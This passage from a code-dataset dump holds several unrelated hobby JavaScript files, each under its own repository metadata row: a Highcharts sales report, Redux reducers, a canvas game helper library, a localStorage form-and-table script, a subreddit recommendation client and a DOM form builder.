{field : 'name',title : '商品类型',width : 100},
{field : 'y',title : '销售额',width : 100}
] ],
onLoadSuccess:function(data){
//在数据加载成功的时候触发。
//alert(JSON.stringify(data));
showChart(data.rows);
}
});
//点击查询按钮
$('#btnSearch').bind('click',function(){
//把表单数据转换成json对象
var formData = $('#searchForm').serializeJSON();
if(formData.endDate != ''){
// 结束日期有值,补23:59:59
formData.endDate+=" 23:59:59.999";
}
$('#grid').datagrid('reload',formData);
});
});
function showChart(_data){
var month=[];
var money=[];
$.each(_data,function(i,d){
//d {};
d.drilldown=true;
month.push(_data.name)
money.push(_data.y)
});
$('#container').highcharts();
// Create the chart
$('#container').highcharts({
chart: {
type: 'column',
events: {
drillup: function(e) {
// 上钻回调事件
console.log(e.seriesOptions);
},
drilldown: function (e) {
if (!e.seriesOptions) {
var chart = this;
//alert(JSON.stringify(e.point.name));//e.point是点击图的数据
var name = e.point.month;
var formData = $('#searchForm').serializeJSON();
formData.month=e.point.name;
//alert(JSON.stringify(formData))
chart.showLoading('正在努力加载中 ...');
$.ajax({
url : 'report!returnorderTrend2.action',
data : formData,
dataType : 'json',
type : 'post',
success : function(rtn) {
var obj = {};
obj.data=rtn;
obj.name=rtn.name;
chart.hideLoading();
chart.addSeriesAsDrilldown(e.point, obj);
}
});
}
}
}
},
title: {
text: 'Async drilldown'
},
xAxis: {
categories: month,
crosshair: true
},
yAxis: {
title: {
text: '退货金额 (元)'
}
},
legend: {
enabled: false
},
plotOptions: {
series: {
borderWidth: 0,
dataLabels: {
enabled: true
}
}
},
series: [{
name: 'Things',
colorByPoint: true,
data: _data
}],
drilldown: {
series: []
}
});
}
| true |
4e4eb7acc57dc71dd8f7a5a03f22f96468879daa
|
JavaScript
|
HaQadosch/Learn-Redux-Starter-Files
|
/learn-redux/client/reducers/posts.js
|
UTF-8
| 466 | 2.765625 | 3 |
[] |
no_license
|
const incrementLikes = (state, index) => {
return [
...state.slice(0, index),
{ ...state[index], likes: state[index].likes + 1 },
...state.slice(index + 1)
]
}
export const posts = (state = [], { type, index, ...action }) => {
const actions = {
'INCREMENT_LIKE': incrementLikes
}
let newState = state
try {
newState = actions[type](state, index)
} catch (error) {
newState = state
}
return newState
}
| true |
45cffcbd092ae3b66ad5ecbcdfb1b8be49a81145
|
JavaScript
|
Jacoby-Y/game-lib
|
/functions.js
|
UTF-8
| 16,285 | 3.28125 | 3 |
[] |
no_license
|
const graphics = {
circ(obj, pos={ x: 0, y: 0 }, scale={ w: 10, h: 10 }, angles={ start: 0, end: Math.PI*2, clockwise: true }, style={ fill: true, fillStyle: "red", stroke: true, strokeStyle: "black", strokeWidth: 1}) { // { x: 100, y: 100 }, { w: 20, h: 20 }, { fill: true, }
if (obj.vector == undefined || obj.transform == undefined) {
console.warn("Object must have a vector and transform to draw!");
return;
}
if (angles.clockwise == undefined) angles.clockwise = true;
if (angles.start == undefined) angles.start = 0;
if (angles.end == undefined) angles.end = Math.PI*2;
ctx.beginPath();
ctx.ellipse(
(pos.x), (pos.y),
(obj.transform.scale_w + scale.w), (obj.transform.scale_h + scale.h),
obj.transform.rotation, angles.start, angles.end, !angles.clockwise);
if (style.fill == true) {
if (style.fillStyle == undefined) style.fillStyle = "red";
ctx.fillStyle = style.fillStyle;
ctx.fill();
}
if (style.stroke == true) {
if (style.strokeStyle == undefined) style.strokeStyle = "black";
if (style.strokeWidth == undefined) style.strokeWidth = 1;
ctx.strokeStyle = style.strokeStyle;
ctx.lineWidth = style.strokeWidth;
ctx.stroke();
}
},
rect(obj, pos={ x: 0, y: 0 }, scale={ w: 10, h: 10 }, style={ fill: true, fillStyle: "red", stroke: true, strokeStyle: "black", strokeWidth: 1}) {
if (obj.vector == undefined || obj.transform == undefined) {
console.warn("Object must have a vector and transform to draw!");
return;
}
ctx.beginPath();
ctx.strokeRect(
(pos.x), (pos.y),
(obj.transform.scale_w + scale.w), (obj.transform.scale_h + scale.h));
if (style.fill == true) {
if (style.fillStyle == undefined) style.fillStyle = "red";
ctx.fillStyle = style.fillStyle;
ctx.fill();
}
if (style.stroke == true) {
if (style.strokeStyle == undefined) style.strokeStyle = "black";
if (style.strokeWidth == undefined) style.strokeWidth = 1;
ctx.strokeStyle = style.strokeStyle;
ctx.lineWidth = style.strokeWidth;
ctx.stroke();
}
}
}
const draw = {
ellipse(x=0,y=0, w=10,h=10, rotation=0, angles={ start: 0, end: Math.PI*2, clockwise: true }, style={ fill: true, fillStyle: "red", stroke: true, strokeStyle: "black", strokeWidth: 1}) {
if (angles.clockwise == undefined) angles.clockwise = true;
if (angles.start == undefined) angles.start = 0;
if (angles.end == undefined) angles.end = Math.PI*2;
ctx.beginPath();
ctx.ellipse(
(x), (y),
(w), (h),
rotation, angles.start, angles.end, !angles.clockwise);
if (style.fill == true) {
if (style.fillStyle == undefined) style.fillStyle = "red";
ctx.fillStyle = style.fillStyle;
ctx.fill();
}
if (style.stroke == true) {
if (style.strokeStyle == undefined) style.strokeStyle = "black";
if (style.strokeWidth == undefined) style.strokeWidth = 1;
ctx.strokeStyle = style.strokeStyle;
ctx.lineWidth = style.strokeWidth;
ctx.stroke();
}
},
rect(x=0,y=0, w=10,h=10, style={ fill: true, fillStyle: "red", stroke: true, strokeStyle: "black", strokeWidth: 1}) {
if (style.fill == true) {
if (style.fillStyle == undefined) style.fillStyle = "red";
ctx.fillStyle = style.fillStyle;
ctx.fillRect(x,y, w,h);
}
if (style.stroke == true) {
if (style.strokeStyle == undefined) style.strokeStyle = "black";
if (style.strokeWidth == undefined) style.strokeWidth = 1;
ctx.strokeStyle = style.strokeStyle;
ctx.lineWidth = style.strokeWidth;
ctx.strokeRect(x,y, w,h);
}
}
}
const draw_circ = (x, y, radius, color, fill=true)=>{
if (fill) {
ctx.beginPath();
ctx.arc(x, y, radius, 0, 2 * Math.PI);
ctx.fillStyle = color;
ctx.fill();
} else {
ctx.beginPath();
ctx.strokeStyle = color;
ctx.arc(x, y, radius, 0, 2 * Math.PI);
ctx.stroke();
}
}
const draw_circ2 = (pos, radius, color, fill=true)=>{
if (fill) {
ctx.beginPath();
ctx.arc(pos.x, pos.y, radius, 0, 2 * Math.PI);
ctx.fillStyle = color;
ctx.fill();
} else {
ctx.beginPath();
ctx.strokeStyle = color;
ctx.arc(pos.x, pos.x, radius, 0, 2 * Math.PI);
ctx.stroke();
}
}
const draw_line = (x1, y1, x2, y2, color="black", width=1)=>{
ctx.beginPath();
ctx.lineWidth = width;
ctx.strokeStyle = color;
ctx.moveTo(x1, y1);
ctx.lineTo(x2, y2);
ctx.stroke();
}
const draw_line2 = (pos1, pos2, color="black", width=1)=>{
ctx.beginPath();
ctx.lineWidth = width;
ctx.strokeStyle = color;
ctx.moveTo(pos1.x, pos1.y);
ctx.lineTo(pos2.x, pos2.y);
ctx.stroke();
}
const distance = (x1, y1, x2, y2)=>{
const dx = x2-x1;
const dy = y2-y1;
return Math.sqrt(dx*dx + dy*dy);
}
const distance2 = (p1, p2)=>{
const dx = p2.x-p1.x;
const dy = p2.y-p1.y;
return Math.sqrt(dx*dx + dy*dy);
}
const difference = (p1, p2, relative=false)=>{
let offset_x = 0;
let offset_y = 0;
if (relative) {
offset_x = camera.pos.x;
offset_y = camera.pos.y;
}
const dx = (p2.x+offset_x)-(p1.x+offset_x);
const dy = (p2.y+offset_y)-(p1.y+offset_y);
return {
x: dx,
y: dy
}
}
const get_angle = (p1, p2, relative=false)=>{
const d = difference(p1, p2, relative);
return Math.atan2(d.y, d.x);
}
const run_shader = (func, divisor)=>{
const data = {};
for (let py = 0; py < canvas.height/divisor; py++) {
for (let px = 0; px < canvas.width/divisor; px++) {
const x = px * divisor;
const y = py * divisor;
const res = func(x,y, divisor, data);
if (res == "kill") return;
}
}
}
const pixelate = (area)=>{
for (let py = 0; py < canvas.height/area; py++) {
for (let px = 0; px < canvas.width/area; px++) {
const x = px * area;
const y = py * area;
const p = ctx.getImageData(x, y, 1, 1).data;
const color = {
r: p[0],
g: p[1],
b: p[2],
to_string(){
return `rgb(${this.r}, ${this.g}, ${this.b})`;
}
}
ctx.fillStyle = color.to_string();
ctx.fillRect(x,y,area,area);
}
}
}
const random_range = (min, max, round=false)=>{
const res = Math.random() * (max - min) + min;
if (round) return Math.round(res);
return res;
}
const draw_text = (x,y, text, font="30px arial", style="black", align="center")=>{
if (font == null)
font = "30px arial";
ctx.fillStyle = style;
ctx.textAlign = align;
ctx.font = font;
ctx.fillText(text, x,y);
}
const closest_in_list = (point, list)=>{
let closest = Infinity;
let closest_obj = {};
for (let i = 0; i < list.length; i++) {
let l = list[i];
if (l.transform != undefined) {
l = l.transform;
} else if (l.pos != undefined) {
l = l.pos;
}
const dist = distance2(point, l);
if (dist < closest) {
closest = dist;
closest_obj = list[i];
}
}
return { dist: closest, obj: closest_obj};
}
const controller_keydown = (key)=>{
switch (key) {
case "w":
controller.w = true;
break;
case "a":
controller.a = true;
break;
case "s":
controller.s = true;
break;
case "d":
controller.d = true;
break;
default:
break;
}
}
const controller_keyup = (key)=>{
switch (key) {
case "w":
controller.w = false;
break;
case "a":
controller.a = false;
break;
case "s":
controller.s = false;
break;
case "d":
controller.d = false;
break;
default:
break;
}
}
const get_entity_with_id = (id)=>{
for (let i = 0; i < entities.length; i++) {
const e = entities[i];
if (e.id == id) {
return e;
}
}
return null;
}
const update_entities = ()=>{
const new_entites = [];
for (let i = 0; i < entities.length; i++) {
const e = entities[i];
if (e._destroy == true) continue;
if (typeof e.update == "function")
e.update(e);
ctx.setTransform(1, 0, 0, 1, 0, 0);
new_entites.push(e);
}
entities = new_entites;
}
const draw_image = (src, x=0,y=0, width=undefined, height=undefined)=>{
const image = new Image();
image.src = src;
if (width == undefined || height == undefined) {
width = image.width;
height = image.height;
}
image.onload = ()=>{ctx.drawImage(image, x, y, width, height)}
}
const run_update_functions = ()=>{
for (let i = 0; i < update.length; i++) {
const f = update[i];
if (typeof f != "function") continue;
f();
}
}
class Emitter {
constructor(tpe=30, direction=1, arc_range=[0,1], origin=new Vector2(100,100), vect_range=[new Vector2(-1,-1), new Vector2(1,1)], speed_range=[1,2], life_span=60, drag=1, on_destroy=()=>{}) {
/** Array of particles in this emitter ~~
* Particle[]
*/
this.parts = [];
/** Emitter lifespan in ticks ~~
* int
*/
this.ticks = 0;
/** Ticks Per Second ~~
* int
*/
this.tpe = tpe;
/** General direction of particle's movement ~~
* Radian
*/
this.direction = direction;
/** Range of directions for particles ~~
* (Radian, Radian)
*/
this.arc_range = arc_range;
/** origin of emitter ~~
* Vector2
*/
this.origin = origin;
/** Range area from origin ~~
* (Vector2, Vector2)
*/
this.vect_range = vect_range;
/** Range of speed for particles ~~
* (int, int)
*/
this.speed_range = speed_range;
/** How long the particle with live in ticks ~~
* int
*/
this.life_span = life_span;
/** How much the particle speed will drag ~~
* float
*/
this.drag = drag;
this.on_destroy = on_destroy;
}
step() {
this.ticks++;
if (this.ticks % this.tpe == 0) {
this.emit();
}
const new_parts = [];
for (let i = 0; i < this.parts.length; i++) {
const part = this.parts[i];
part.step();
if (part.ticks < this.life_span && !part._destroy)
new_parts.push(part);
else {
part.on_destroy();
}
}
this.parts = new_parts;
}
emit() {
const pos = {
x: this.origin.x + random_range(this.vect_range[0].x, this.vect_range[1].x),
y: this.origin.y + random_range(this.vect_range[0].y, this.vect_range[1].y)
};
const vect = {
x: Math.cos(this.direction+random_range(this.arc_range[0], this.arc_range[1])) * random_range(this.speed_range[0], this.speed_range[1]),
y: Math.sin(this.direction+random_range(this.arc_range[0], this.arc_range[1])) * random_range(this.speed_range[0], this.speed_range[1])
}
const part = new Particle(pos, vect, this.drag);
part.on_destroy = this.on_destroy;
this.parts.push(part);
}
}
class Particle {
constructor(pos, vect, drag) {
this.pos = pos;
this.vect = vect;
this.drag = drag;
this.ticks = 0;
this._destroy = false;
this.on_destroy = ()=>{};
}
step() {
this.move();
this.draw();
this.ticks++;
}
move() {
this.pos.x += this.vect.x;
this.pos.y += this.vect.y;
this.vect.x *= this.drag;
this.vect.y *= this.drag;
}
draw() {
draw_circ2(this.pos, 10, ctx.fillStyle);
}
}
class Job {
constructor(ticks, funcs=[], data={}) {
this.ticks = ticks;
this.funcs = funcs;
this.data = data;
event_manager.jobs.push(this);
}
run_job() {
for (let i = 0; i < this.funcs.length; i++) {
const func = this.funcs[i];
if (typeof func != "function") continue;
const res = func(this.data);
if (res == "kill")
break;
}
}
}
//> Components
class Entity {
constructor() {
this._destroy = false;
entities.push(this);
}
bind(obj) {
if (obj.$ != undefined && typeof obj.$ == "function") {
const prop = obj.$();
if (prop == "graphic") {
obj.bind = this;
}
this[prop] = obj;
} else if (typeof obj == "object") {
Object.assign(this, obj);
}
return this;
}
destroy(time=0) {
if (time <= 0) {
this._destroy = true;
} else {
new Job(time, [(data)=>{ data.entity._destroy = true }], {entity: this})
}
}
}
class Vector2 {
constructor(x,y) {
this.x = x;
this.y = y;
}
get_dir() {
return Math.atan2(x,y);
}
move_to(pos={x:0, y:0}, step=5) {
const angle = get_angle(this, pos);
const dist = distance2(this, pos);
if (dist <= step) {
this.x = pos.x;
this.y = pos.y;
} else {
this.x += Math.cos(angle)*step;
this.y += Math.sin(angle)*step;
}
return this;
}
move_with_angle(len, angle) {
if (angle == null) return;
this.x += Math.cos(angle)*len;
this.y += Math.sin(angle)*len;
return this;
}
translate(x,y) {
this.x += x;
this.y += y;
return this;
}
$(){ return "vector" }
}
class Transform {
constructor(rotation, scale_w, scale_h) {
this.rotation = rotation;
this.scale_w = scale_w;
this.scale_h = scale_h;
}
rotate(angle) {
this.rotation += angle;
}
scale(x,y) {
this.scale_w += x;
this.scale_h += y;
}
$(){ return "transform" }
}
class Physics {
constructor(vx=0, vy=0, gravity=1, drag=0.95, vector=null) {
this.vx = vx;
this.vy = vy;
this.gravity = gravity;
this.drag = drag;
this.vector = vector;
}
add_force(x,y) {
this.vx += x;
this.vy += y;
return this;
}
step(do_drag=false, do_gravity=true) {
if (this.vector == null) return;
this.vector.x += this.vx;
this.vector.y += this.vy;
if (do_gravity) this.vy += this.gravity;
if (do_drag) {
this.vx *= this.drag;
this.vy *= this.drag;
}
return this;
}
$(){ return "physics" }
}
class Graphic {
constructor(on_draw=(self)=>{}) {
this.bind = {};
this.on_draw = on_draw;
}
draw(){
if (this.bind.vector == null || this.bind.transform == null) return;
ctx.setTransform(1, 0, 0, 1, this.bind.vector.x + camera.pos.x, this.bind.vector.y + camera.pos.y);
ctx.rotate(this.bind.transform.rotation);
this.on_draw(this.bind);
}
$(){ return "graphic" }
}
class BoxCollider {
constructor(w, h) {
this.w = w;
this.h = h;
this.vector = null;
}
$() { return "box_collider"; }
}
class Skeleton {
constructor(origin, ) {
}
}
| true |
a43b5469c3f65e9e6d6548f01869ed10a779cc9a
|
JavaScript
|
johncollinson2001/canvuz
|
/js/canvuz/Canvuz.StaticPhoto.js
|
UTF-8
| 2,371 | 2.609375 | 3 |
[] |
no_license
|
Canvuz.StaticPhoto = function(_x, _y, _width, _height, _rotation, _filename, _container) {
//DRAW CONSTRUCTS
//////////////////////////////////////////////////////////////////////////////////////////////
//draw the photos shadow effect
this.drawShadow = function() {
Canvuz.canvas.drawSVG().rect(this.container, 0, 0, (this.width + (this.FRAME_PADDING_WIDTH * 2)), (this.height + (this.FRAME_PADDING_HEIGHT * 2)), 0, 0, {
fill:'black',
fillOpacity:'0.4'
});
};
//draw the photos white polaroid style frame
this.drawFrame = function() {
Canvuz.canvas.drawSVG().rect(this.container, (0 - this.FRAME_PADDING_WIDTH), (0 - this.FRAME_PADDING_WIDTH), this.width + (this.FRAME_PADDING_WIDTH * 2) , this.height + (this.FRAME_PADDING_HEIGHT * 2), 0, 0, {
fill:Canvuz.canvas.POLAROID_COLOUR,
stroke:'black',
strokeWidth: '5px'
})
};
//draw the photo on the canvas
this.drawImage = function() {
var imagepath = this.createImagePath();
this.image = Canvuz.canvas.drawSVG().image(this.container, 0, (this.FRAME_PADDING_WIDTH), this.width, this.height, imagepath);
};
//create the image path which will change based on the screen factor
this.createImagePath = function() {
var imagepath = Canvuz.canvas.IMGRESIZE_PATH;
imagepath = imagepath + '?width=' + (this.width);
imagepath = imagepath + '&height=' + (this.height);
imagepath = imagepath + '&quality=' + '50';
imagepath = imagepath + '&image=' + this.IMGRESIZE_IMAGE_PATH;
return imagepath;
};
//CONSTRUCTOR
//////////////////////////////////////////////////////////////////////////////////////////////
this.x = _x;
this.y = _y;
this.width = _width;
this.height = _height;
this.rotation = _rotation;
this.filename = _filename;
this.image = null;
this.IMGRESIZE_IMAGE_PATH = Canvuz.canvas.IMAGE_DIRECTORY+this.filename;
//add the shell and container for this photo so we can transform it easilys
this.shell = Canvuz.canvas.svg.group(_container, {transform:'translate('+this.x+', '+this.y+')'});
this.container = Canvuz.canvas.svg.group(this.shell, {transform:'rotate('+this.rotation+', '+(this.width/2)+', '+(this.height/2)+')'});
this.FRAME_PADDING_WIDTH = this.width/30;
this.FRAME_PADDING_HEIGHT = this.height/12;
this.drawShadow();
this.drawFrame();
if(this.filename!='') {
this.drawImage();
}
};
| true |
ace258be3395dc95f30832d875d4b97de2ddf975
|
JavaScript
|
akaDarkNemesis/akaDarkNemesis.github.io
|
/forms_n_tables/script.js
|
UTF-8
| 5,716 | 2.765625 | 3 |
[] |
no_license
|
var sno = 0;
var data = [];
var isEdit = false;
var selectedRow;
var sOrder = "asc";
var propsArray = ["name", "phn", "dob", "city", "gender"];
var sBtns = [
{
id: "name",
name: "Name"
},
{
id: "phn",
name: "Phone"
},
{
id: "dob",
name: "DOB"
},
{
id: "city",
name: "City"
},
{
id: "gender",
name: "Gender"
}
]
window.onload = function () {
let lsd = localStorage.getItem("details");
data = lsd == null ? [] : JSON.parse(lsd);
loopingArray();
createSBtns()
}
function createSBtns() {
let btnDiv = document.getElementById("sbtns");
for (let ele of sBtns) {
let btn = `<button class="btn btn-secondary" id="sb${ele.id}" onclick="onSort('${ele.id}')">${ele.name}</button>`;
btnDiv.insertAdjacentHTML("beforeend", btn);
}
}
function onSubmit() {
let name = document.getElementById("name").value;
let phn = document.getElementById("phn").value;
let dob = document.getElementById("dob").value;
let city = document.getElementById("city").value;
let gender = document.querySelector("input[name='gender']:checked").value;
let commodities = document.querySelectorAll("input[name='commodity']:checked");
let selComs = [];
for (let i = 0; i < commodities.length; i++) {
selComs.push(commodities[i].value);
}
let age = findAge(dob);
let car = selComs.indexOf("Car") == -1 ? "No" : "Yes";
let bike = selComs.indexOf("Bike") == -1 ? "No" : "Yes";
let mobile = selComs.indexOf("Mobile") == -1 ? "No" : "Yes";
let laptop = selComs.indexOf("Laptop") == -1 ? "No" : "Yes";
let obj = {
name: name,
phn: phn,
dob: dob.split("-").reverse().join("/"),
age: age,
city: city,
gender: gender,
car: car,
bike: bike,
mobile: mobile,
laptop: laptop
}
isEdit ? (data[selectedRow - 1] = obj) : data.push(obj);
localStorage.setItem("details", JSON.stringify(data));
loopingArray();
}
function loopingArray() {
let table = document.getElementById("tbl");
while (table.rows.length > 1) {
table.deleteRow(1);
}
for (let i = 0; i < data.length; i++) {
let obj = data[i];
let tRow = `<tr>
<td>${i + 1}</td>
<td>${obj.name}</td>
<td>${obj.phn}</td>
<td>${obj.dob}</td>
<td>${obj.age}</td>
<td>${obj.city}</td>
<td>${obj.gender}</td>
<td>${obj.car}</td>
<td>${obj.bike}</td>
<td>${obj.mobile}</td>
<td>${obj.laptop}</td>
<td>
<button class="btn btn-info" onclick="onEdit(${i + 1})">Edit</button>
<span class="ml-1 mr-1"></span>
<button class="btn btn-danger" onclick="onDelete(${i + 1})">Delete</button>
</td>
</tr>`;
table.insertAdjacentHTML("beforeend", tRow);
}
onClear();
}
function findAge(dob) {
let toDay = new Date();
let bDay = new Date(dob);
let age = toDay.getFullYear() - bDay.getFullYear();
let md = toDay.getMonth() - bDay.getMonth();
let dd = toDay.getDate() - bDay.getDate();
if (md < 0 || (md == 0 && dd < 0)) {
age--;
}
return age;
}
function onEdit(sno) {
isEdit = true;
let btn = document.getElementById("sbtn");
btn.innerHTML = "Update";
btn.className = "btn btn-success";
selectedRow = sno;
let i = sno - 1;
let obj = data[i];
document.getElementById("name").value = obj.name;
document.getElementById("phn").value = obj.phn;
document.getElementById("city").value = obj.city;
document.getElementById("dob").value = obj.dob.split("/").reverse().join("-");
document.getElementById(obj.gender).checked = true;
for (let p in obj) {
if (p == "car" || p == "bike" || p == "mobile" || p == "laptop") {
document.getElementById(p).checked = obj[p] == "Yes" ? true : false;
}
}
}
function onDelete(sno) {
data.splice(sno - 1, 1);
localStorage.setItem("details", JSON.stringify(data));
loopingArray();
}
function onClear() {
let form = document.getElementById("frm");
form.reset();
isEdit = false;
let btn = document.getElementById("sbtn");
btn.innerHTML = "Submit";
btn.className = "btn btn-primary";
selectedRow = null;
}
function onSort(p) {
for (let ele of sBtns) {
document.getElementById("sb" + ele.id).innerHTML = ele.name;
document.getElementById("sb" + ele.id).className = "btn btn-secondary";
}
let actbtn = document.getElementById("sb" + p);
actbtn.className = "btn btn-info";
let icon = sOrder == "asc"?'<i class="fa fa-long-arrow-up" aria-hidden="true"></i>':'<i class="fa fa-long-arrow-down" aria-hidden="true"></i>';
actbtn.innerHTML = `${actbtn.innerHTML} ${icon}`;
let n = sOrder == "asc" ? 1 : -1;
sOrder = sOrder == "asc" ? "desc" : "asc";
if (p == "dob") {
data.sort((a, b) => {
return n == 1 ? dateToNum(a[p]) - dateToNum(b[p]) : dateToNum(b[p]) - dateToNum(a[p]);
})
} else {
data.sort((a, b) => {
if (a[p] < b[p]) {
return (-1 * n);
}
if (a[p] > b[p]) {
return (1 * n);
}
return 0;
});
}
loopingArray();
}
function dateToNum(dob) {
let d = dob.split("/").reverse().join("-");
let dt = new Date(d).getTime();
return dt;
}
| true |
83b894c155e169b3e462c32bff902d10f7ac3a8e
|
JavaScript
|
jihun04/kokoa-clone-2020
|
/check-wifi.js
|
UTF-8
| 343 | 2.59375 | 3 |
[] |
no_license
|
const noWifiIcon = document.querySelector(".no-wifi"),
checkWifiBox = noWifiIcon.querySelector(".check-wifi"),
checkWifiCloseBtn = checkWifiBox.querySelector("i");
function handleCheckWifiClick() {
noWifiIcon.removeChild(checkWifiBox);
}
function init() {
checkWifiCloseBtn.addEventListener("click", handleCheckWifiClick);
}
init();
| true |
4553262333565dfb898f564f791e8f9b527471b4
|
JavaScript
|
anvaka/redsim
|
/src/scripts/dataclient.js
|
UTF-8
| 3,169 | 2.625 | 3 |
[
"MIT"
] |
permissive
|
var createGraph = require('ngraph.graph');
var eventify = require('ngraph.events');
module.exports = dataClient;
function dataClient($http, $q) {
// Kick off graph download immediately
$http.get('data/labels.json')
.then(addLabelsToGraph);
$http.get('data/links.bin', { responseType: "arraybuffer" })
.then(addLinksToGraph);
var labels, linksReady = false, pendingSearch;
var nodeIdLookup = Object.create(null);
var graph = createGraph();
var model = {
searchSubreddit: searchSubreddit,
getRecommendations: getRecommendations
};
eventify(model);
return model;
function getRecommendations(query) {
if (!linksReady) {
pendingSearch = $q.defer();
return $q(function(resolve, reject) {
pendingSearch.promise.then(function() {
getRecommendations(query).then(resolve);
})
});
}
return $q(function(resolve, reject) {
var srcId = nodeIdLookup[query];
var links = graph.getLinks(srcId)
var from = [], to = [];
var result = {
from: from,
to: to
};
if (links) {
links.sort(byRank);
for (var i = 0; i < links.length; ++i) {
var link = links[i];
if (link.fromId === srcId) {
to.push(labels[link.toId]);
} else {
from.push(labels[link.fromId]);
}
}
}
resolve(result);
});
}
function byRank(x, y) {
return x.data - y.data;
}
function searchSubreddit(query) {
var result = [];
if (!labels) {
return result;
}
query = query.toLowerCase();
return labels.filter(function(x) {
return x.toLowerCase().indexOf(query) !== -1;
}).sort(function(x, y) {
var distance = x.toLowerCase().indexOf(query) - y.toLowerCase().indexOf(query)
if (distance === 0) {
distance = x.length - y.length;
}
if (distance === 0) {
distance = graph.getLinks(nodeIdLookup[y]).length - graph.getLinks(nodeIdLookup[x]).length;
}
return distance;
}).splice(0, 12);
}
function addLabelsToGraph(response) {
labels = response.data;
labels.forEach(function(label, idx) {
addToGraph(idx, 'label', label);
nodeIdLookup[label] = idx;
});
fireIfReady()
}
function addToGraph(nodeId, dataName, dataValue) {
var node = graph.getNode(nodeId);
if (!node) {
var data = {};
data[dataName] = dataValue;
graph.addNode(nodeId, data);
} else {
node.data[dataName] = dataValue;
}
}
function addLinksToGraph(res) {
var arr = new Int32Array(res.data);
var lastFromId;
for (var i = 0; i < arr.length; i++) {
var id = arr[i];
if (id < 0) {
lastFromId = -id;
} else {
// need to unpack.
var otherId = (id & 0xffffff00) >> 8;
var rank = (id & 0xff);
graph.addLink(lastFromId - 1, otherId - 1, rank);
}
}
linksReady = true;
pendingSearch.resolve();
fireIfReady();
return graph;
}
function fireIfReady() {
if (linksReady && labels) {
model.fire('ready');
}
}
}
| true |
997a348b517795acf329dd18e17934fdc9a3303c
|
JavaScript
|
chantysothy/react-template-project
|
/App/Reducers/StatusReducer.js
|
UTF-8
| 801 | 2.6875 | 3 |
[] |
no_license
|
import { LOAD, SAVE } from 'redux-storage';
import { STATUS_NETWORK_UPDATE } from '../Actions/ActionTypes';
const initialState =
{
networkActivity: false,
storageLoaded: false,
networkStatus: false,
};
function statusReducer(state = initialState , action) {
switch (action.type) {
case LOAD:
state = state.set('storageLoaded', true);
return state;
case SAVE:
console.log('Something has changed and written to disk!');
return state;
case STATUS_NETWORK_UPDATE:
console.log("Updating network Status", action.name);
state = state.set('networkStatus', action.isConnected);
return state;
default:
return state;
}
}
module.exports = statusReducer;
| true |
61436ad83da9fccb198bc5a49a8e21ebee5e5abb
|
JavaScript
|
AHarryHughes/form-builder
|
/main.js
|
UTF-8
| 5,070 | 3.0625 | 3 |
[] |
no_license
|
//HTML--------------------------------------------------------------------------
//grab body and css
var bod = document.querySelector(".bod");
bod.style.margin= "auto";
bod.style.width= "400px";
bod.style.boxShadow= "5px 5px grey";
bod.style.borderRadius= "5px";
//create and save to var: head, main, and footer and add css
var daHead = document.createElement('header');
daHead.style.backgroundColor= "rgb(56,139,199)";
daHead.style.color= "white";
daHead.style.borderRadius= "5px";
daHead.style.padding= ".005% 4%";
var daMain = document.createElement('main');
daMain.style.padding= "0% 4% 5% 4%";
var daFoot = document.createElement('footer');
daFoot.style.padding= "4% 4%";
daFoot.style.backgroundColor= "rgb(199,222,239)";
daFoot.style.borderRadius= "5px";
//attatch head, main, and footer to body
bod.appendChild(daHead);
bod.appendChild(daMain);
bod.appendChild(daFoot);
//create h1, put text in it and attach to head
var daTitle = document.createElement('h2');
daTitle.textContent = "Sign Up For My Web App";
daTitle.style.fontWeight= "lighter";
daHead.appendChild(daTitle);
//<label>Click me <input type="text"></label>
//for loop to make the divs for the input feilds
for (var i in formData){
//create div, add class named after the label in formdata and attach to main
var daDiv = document.createElement('div');
daDiv.classList = formData[i].label;
daMain.appendChild(daDiv);
//conditional for select in formdata
if(formData[i].type=="select"){
//create select element
var daSelect = document.createElement('select');
daSelect.style.margin= "2% 0%";
daSelect.style.width= "95%";
daSelect.style.boxShadow= "0px";
daSelect.style.borderRadius= "0px";
//for loop for options in formdata
for (var j in formData[i].options){
//create option element, add label from formdata to textContent attribute,
//add label from formdata to value attribute,
//and attatch option to select
var daOption = document.createElement('option');
daOption.textContent = formData[i].options[j].label;
daOption.setAttribute("value", formData[i].options[j].value);
daSelect.appendChild(daOption);
}
//attatch select to div
daDiv.appendChild(daSelect);
}
//conditional for textarea in formdata
else if(formData[i].type=="textarea"){
//create textarea, add row and col attribute, and attatch textarea to div
var daText = document.createElement('textarea');
daText.setAttribute("plaeceholder", formData[i].label);
daText.setAttribute("rows", 5);
daText.setAttribute("cols", 55);
daText.style.margin= "2% 0%";
daDiv.appendChild(daText);
//Create span element for icon in formdata, add class Icon to div,
//and attatch Icon Span to parent div
var daSpan = document.createElement('span');
daSpan.classList = "Icon";
daDiv.appendChild(daSpan);
//Create icon element for icon in formdata, add class Icon to icon from formdata,
//and attatch Icon to span
var daIcon = document.createElement('i');
daIcon.classList = "fa " + formData[i].icon;
daSpan.appendChild(daIcon);
daIcon.style.color= "rgb(160,165,167)";
daIcon.style.position= "absolute";
daIcon.style.margin= ".9% 0% 1%";
daIcon.style.left= "36%";
}
//conditional for the rest of the inputs and add css
else{
//Create span element for icon in formdata, add class Icon to div,
//and attatch Icon Span to parent div
var daSpan = document.createElement('span');
daSpan.classList = "Icon";
daDiv.appendChild(daSpan);
//Create icon element for icon in formdata, add class Icon to icon from formdata,
//and attatch Icon to span
var daIcon = document.createElement('i');
daIcon.classList = "fa " + formData[i].icon;
daSpan.appendChild(daIcon);
daIcon.style.color= "rgb(160,165,167)";
daIcon.style.position= "absolute";
daIcon.style.margin= ".9% 0% 1%";
daIcon.style.left= "36%";
//Create input element, set type attribute from type in formdata to input,
//and set value attribute from value in formdata to input,
var daInput = document.createElement('input');
daInput.classList = formData[i].type;
daInput.setAttribute("type", formData[i].type);
daInput.setAttribute("value", formData[i].label);
daInput.style.width= "80%";
daInput.style.margin= "2% 0%";
daInput.style.padding= "1% 7%";
//Create label element and set for attribute from for in formdata to label
var daLabel = document.createElement('label');
daLabel.setAttribute("for", formData[i].id);
//Attatch label to div and attatch input to label
daDiv.appendChild(daLabel);
daLabel.appendChild(daInput);
}
}
//create button, put text in it and attach to foot
var daButton = document.createElement('button');
daButton.textContent = "Submit Form";
daFoot.appendChild(daButton);
daButton.style.height= "30px";
daButton.style.color= "white";
daButton.style.backgroundColor= "rgb(56,139,199)";
daButton.style.borderRadius= "3px";
daButton.style.border= "0px";
| true |
c693c1380bc8c9a317c1c2641c91824e015a4e6e
|
JavaScript
|
Andruixxd31/web_dev_course
|
/smartbrain-api/server.js
|
